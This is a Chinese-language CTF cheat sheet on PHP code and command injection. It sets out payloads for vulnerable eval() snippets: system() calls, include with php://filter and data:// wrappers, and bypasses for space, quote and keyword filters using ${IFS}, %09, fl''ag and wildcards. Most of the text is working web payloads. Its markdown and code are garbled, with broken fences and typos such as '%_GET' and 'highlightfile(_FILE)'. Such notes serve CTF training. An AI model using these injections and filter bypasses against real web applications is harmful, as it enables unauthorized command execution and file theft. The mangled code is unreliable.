函数执行函数

执行 php 代码

  1. <?php
  2. $c = %_GET['c'];
  3. eval($c);
  • eval
  • include

在包含文件的时候会执行,include 不需要() 可以用来绕过过滤
常见文件包含伪协议达到目的:
?c=include%09$_POST["url"]?>,post 传入伪协议url=php://filter/read=convert.base64-encode/resource=flag.php


  • 命令执行函数

    执行 linux/windows 等系统命令 ```php <?php $c = $_GET[‘c’]; system($c);
  1. - system
  2. 有回显,`?c=system("nl flag.php");`
  3. - passthru
  4. - exec
  5. - shell_exec
  6. - 反引号
  7. 无回显,需要加 echo 输出终端运行的结果 `?c=echo 'nl flag.php';`
  8. <a name="aZ6YF"></a>
  9. # 函数执行转命令执行
  10. ```php
  11. <?php
  12. $c = $_GET['c'];
  13. eval($c);
  • eval 等:执行 php 代码
  • system 等:执行 linux 代码

调用命令执行函数即可:

  1. ?c=system($_GET[a]);
  2. ?c=system($_POST[a]);

输出函数

  • cat
  • tac
  • more
  • less
  • head
  • tail
  • nl
  • sed
  • sort
  • uniq
  • rev

倒序输出文件内容

过滤字符

空格

linux bash 下空格替代

  • %09

等于 tab

  • ${IFS}

$IFS 在linux下表示分隔符,加一个{}就固定了变量名IFS

  • $IFS$9

$9 指的是当前系统 shell 进程的第九个参数的持有者,就是一个空字符串,因此 $9 相当于没有加东西,等于做了一个前后隔离

  • $IFS%09

等于 tab

  • <
  • <>
  • %20

等于空格

链接符

用于绕过正则匹配文件名

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['c'])){
  4. $c = $_GET['c'];
  5. if(!preg_match("/flag/i", $c)){
  6. eval($c);
  7. }
  8. }else{
  9. highlight_file(__FILE__);
  10. }
  • 单引号

    1. nl fl''ag.php
  • 双引号

    1. nl fl""ag.php
  • 通配符

    1. nl fla*

    分号

    分号可以用 ?> 代替

    引号

  • 过滤单引号时,使用双引号绕过

  • 过滤双引号时,使用单引号绕过
  • 过滤单、双引号,使用数字\字母变量绕过 ``php <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\|echo|\;|(|\”/i”, $c)){
    1. eval($c);
    }

}else{ highlightfile(_FILE); } `` 请求参数:?c=include%09$_POST[1]?>;post 包:1=data://text/plain,<?php%20system(‘nl flag.php’);?>`

参考文章

https://blog.csdn.net/weixin_39808803/article/details/111341667